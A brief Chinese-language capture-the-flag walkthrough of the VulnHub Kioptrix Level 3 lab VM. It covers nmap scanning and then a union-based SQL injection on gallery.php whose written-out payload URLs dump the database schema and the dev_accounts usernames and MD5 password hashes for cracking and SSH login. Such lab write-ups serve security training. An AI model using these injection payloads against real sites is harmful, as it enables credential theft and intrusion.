靶机下载地址:https://download.vulnhub.com/kioptrix/KVM3.rar
1. 主机发现+端口扫描+目录扫描【192.168.1.128】
1.1. 主机发现
nmap -sn 192.168.1.0/24|grep -B 2 '00:0C:29:01:06:B7'
1.2. 端口扫描
nmap -p- 192.168.1.128
1.3. 目录扫描
2. web漏洞发掘
2.1. 进入80端口
- 老规矩,逐个点击功能点挖掘可能可以利用的功能点;->主页面点击
now
无法解析 -> 点击其他功能点,发现存在登录功能点,但与前者一样需绑定域名才可解析;
具体域名绑定流程请移步:
- 绑定成功后,查看now功能;-> 成功解析
- 老规矩,逐个点击功能点,挖掘可能存在的功能点;-> 出现可疑的sql注入点
- 存在回显,爆出库名
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,database(),3,4,5,6
- 爆出库名 -> 爆出MD5加密的账号密码
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,group_concat(column_name),3,4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27dev_accounts%27
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,username,password,4,5,6%20from%20dev_accounts
- MD5解密
- SSH连接